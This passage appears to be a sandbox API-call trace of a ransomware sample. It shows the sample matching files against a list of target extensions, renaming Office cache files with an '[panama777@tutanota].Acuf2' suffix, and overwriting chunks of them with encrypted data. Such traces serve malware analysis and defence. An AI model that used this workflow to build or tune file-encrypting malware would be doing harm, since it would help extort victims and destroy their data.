	[0060.429] lstrlenW (lpString="background.png") returned 14
	[0060.429] lstrlenW (lpString=".1cd") returned 4

Thread:
	id = 15
	os_tid = 0x974

	[0036.902] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x36012b8
	[0036.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x36112c0
	[0036.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5409a8
	[0036.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54a0e0
	[0036.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5409c0
	[0036.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3a40020
	[0036.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5409d8
	[0036.904] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5409d8, Size=0x20) returned 0x35d0110
	[0036.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5409d8
	[0036.904] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5409d8, Size=0x20) returned 0x35d0138
	[0036.904] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.904] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.904] Wow64DisableWow64FsRedirection (in: OldValue=0x310ff58 | out: OldValue=0x310ff58*=0x0) returned 1
	[0036.904] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35d0110 | out: hHeap=0x4f0000) returned 1
	[0036.904] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35d0138 | out: hHeap=0x4f0000) returned 1
	[0036.904] Sleep (dwMilliseconds=0x64) 
	[0037.049] lstrlenW (lpString="BCD") returned 3
	[0037.049] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0037.049] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.049] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.049] lstrlenW (lpString=".doc") returned 4
	[0037.049] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0037.049] lstrlenW (lpString=".docx") returned 5
	[0037.049] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0037.049] lstrlenW (lpString=".pdf") returned 4
	[0037.049] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0037.049] lstrlenW (lpString=".xls") returned 4
	[0037.049] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0037.049] lstrlenW (lpString=".xlsx") returned 5
	[0037.049] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0037.049] lstrlenW (lpString=".ppt") returned 4
	[0037.049] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0037.049] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.049] lstrlenW (lpString=".zip") returned 4
	[0037.049] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0037.049] lstrlenW (lpString=".rar") returned 4
	[0037.050] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString=".bz2") returned 4
	[0037.050] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString=".7z") returned 3
	[0037.050] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0037.050] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.050] lstrlenW (lpString=".dbf") returned 4
	[0037.050] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.050] lstrlenW (lpString=".1cd") returned 4
	[0037.050] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.050] lstrlenW (lpString=".jpg") returned 4
	[0037.050] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.050] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.050] lstrlenW (lpString=".doc") returned 4
	[0037.050] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString=".docx") returned 5
	[0037.050] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0037.050] lstrlenW (lpString=".pdf") returned 4
	[0037.050] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString=".xls") returned 4
	[0037.050] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString=".xlsx") returned 5
	[0037.050] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0037.050] lstrlenW (lpString=".ppt") returned 4
	[0037.050] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0037.050] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.051] lstrlenW (lpString=".zip") returned 4
	[0037.051] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0037.051] lstrlenW (lpString=".rar") returned 4
	[0037.051] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0037.051] lstrlenW (lpString=".bz2") returned 4
	[0037.051] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0037.051] lstrlenW (lpString=".7z") returned 3
	[0037.051] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0037.051] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.051] lstrlenW (lpString=".dbf") returned 4
	[0037.051] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0037.051] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.051] lstrlenW (lpString=".1cd") returned 4
	[0037.051] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0037.051] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0037.051] lstrlenW (lpString=".jpg") returned 4
	[0037.051] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0037.051] lstrcmpiW (lpString1=".LOG1", lpString2=".Acuf2") returned 1
	[0037.051] lstrlenW (lpString="BCD.LOG1") returned 8
	[0037.051] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0037.743] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=0) returned 1
	[0037.743] CloseHandle (hObject=0x164) returned 1
	[0037.743] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.743] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.743] lstrlenW (lpString=".doc") returned 4
	[0037.743] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0037.743] lstrlenW (lpString=".docx") returned 5
	[0037.743] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0037.743] lstrlenW (lpString=".pdf") returned 4
	[0037.743] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0037.743] lstrlenW (lpString=".xls") returned 4
	[0037.743] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString=".xlsx") returned 5
	[0037.744] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0037.744] lstrlenW (lpString=".ppt") returned 4
	[0037.744] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.744] lstrlenW (lpString=".zip") returned 4
	[0037.744] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString=".rar") returned 4
	[0037.744] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString=".bz2") returned 4
	[0037.744] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString=".7z") returned 3
	[0037.744] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0037.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.744] lstrlenW (lpString=".dbf") returned 4
	[0037.744] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.744] lstrlenW (lpString=".1cd") returned 4
	[0037.744] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.744] lstrlenW (lpString=".jpg") returned 4
	[0037.744] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.744] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.744] lstrlenW (lpString=".doc") returned 4
	[0037.744] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString=".docx") returned 5
	[0037.744] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0037.744] lstrlenW (lpString=".pdf") returned 4
	[0037.744] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0037.744] lstrlenW (lpString=".xls") returned 4
	[0037.745] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0037.745] lstrlenW (lpString=".xlsx") returned 5
	[0037.745] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0037.745] lstrlenW (lpString=".ppt") returned 4
	[0037.745] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0037.745] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.745] lstrlenW (lpString=".zip") returned 4
	[0037.745] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0037.745] lstrlenW (lpString=".rar") returned 4
	[0037.745] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0037.745] lstrlenW (lpString=".bz2") returned 4
	[0037.745] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0037.745] lstrlenW (lpString=".7z") returned 3
	[0037.745] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0037.745] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.745] lstrlenW (lpString=".dbf") returned 4
	[0037.745] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0037.745] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.745] lstrlenW (lpString=".1cd") returned 4
	[0037.745] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0037.745] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0037.745] lstrlenW (lpString=".jpg") returned 4
	[0037.745] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0037.745] Sleep (dwMilliseconds=0x64) 
	[0037.845] Sleep (dwMilliseconds=0x64) 
	[0037.954] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0037.954] lstrlenW (lpString="PptLR.cab") returned 9
	[0037.954] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0037.955] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=70361744) returned 1
	[0037.955] CloseHandle (hObject=0x170) returned 1
	[0037.955] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020
	[0037.955] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.955] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0037.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0037.956] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0037.956] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0037.956] ReadFile (in: hFile=0x170, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0037.965] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0037.965] ReadFile (in: hFile=0x170, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0037.973] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0037.973] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0037.973] ReadFile (in: hFile=0x170, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0037.993] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0037.993] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0038.178] SetEndOfFile (hFile=0x170) returned 1
	[0038.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ec46c8
	[0038.179] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.179] WriteFile (in: hFile=0x170, lpBuffer=0x3ec46c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec46c8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.179] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.179] WriteFile (in: hFile=0x170, lpBuffer=0x3ec46c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec46c8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.180] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.180] WriteFile (in: hFile=0x170, lpBuffer=0x3ec46c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec46c8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ec46c8 | out: hHeap=0x4f0000) returned 1
	[0038.182] CloseHandle (hObject=0x170) returned 1
	[0041.060] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0041.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.061] lstrlenW (lpString=".doc") returned 4
	[0041.061] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0041.061] lstrlenW (lpString=".docx") returned 5
	[0041.061] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0041.061] lstrlenW (lpString=".pdf") returned 4
	[0041.061] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0041.061] lstrlenW (lpString=".xls") returned 4
	[0041.061] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0041.061] lstrlenW (lpString=".xlsx") returned 5
	[0041.061] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0041.061] lstrlenW (lpString=".ppt") returned 4
	[0041.061] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0041.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.061] lstrlenW (lpString=".zip") returned 4
	[0041.061] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0041.061] lstrlenW (lpString=".rar") returned 4
	[0041.061] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0041.061] lstrlenW (lpString=".bz2") returned 4
	[0041.061] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0041.061] lstrlenW (lpString=".7z") returned 3
	[0041.061] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0041.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.061] lstrlenW (lpString=".dbf") returned 4
	[0041.061] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0041.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.061] lstrlenW (lpString=".1cd") returned 4
	[0041.061] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0041.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.061] lstrlenW (lpString=".jpg") returned 4
	[0041.061] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0041.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.062] lstrlenW (lpString=".doc") returned 4
	[0041.062] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0041.062] lstrlenW (lpString=".docx") returned 5
	[0041.062] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0041.062] lstrlenW (lpString=".pdf") returned 4
	[0041.062] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0041.062] lstrlenW (lpString=".xls") returned 4
	[0041.062] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0041.062] lstrlenW (lpString=".xlsx") returned 5
	[0041.062] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0041.062] lstrlenW (lpString=".ppt") returned 4
	[0041.062] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0041.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.062] lstrlenW (lpString=".zip") returned 4
	[0041.062] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0041.062] lstrlenW (lpString=".rar") returned 4
	[0041.062] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0041.062] lstrlenW (lpString=".bz2") returned 4
	[0041.062] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0041.062] lstrlenW (lpString=".7z") returned 3
	[0041.062] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0041.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.062] lstrlenW (lpString=".dbf") returned 4
	[0041.062] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0041.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.062] lstrlenW (lpString=".1cd") returned 4
	[0041.062] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0041.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0041.062] lstrlenW (lpString=".jpg") returned 4
	[0041.062] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0041.063] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0041.063] lstrlenW (lpString="OutlookMUI.msi") returned 14
	[0041.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0041.063] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=2865664) returned 1
	[0041.063] CloseHandle (hObject=0x170) returned 1
	[0041.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020
	[0041.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.063] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0041.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0041.064] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0041.064] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.064] ReadFile (in: hFile=0x170, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.069] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.069] ReadFile (in: hFile=0x170, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.079] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0041.079] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.080] ReadFile (in: hFile=0x170, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.098] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0041.098] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0041.321] SetEndOfFile (hFile=0x170) returned 1
	[0041.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ee37c0
	[0041.326] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
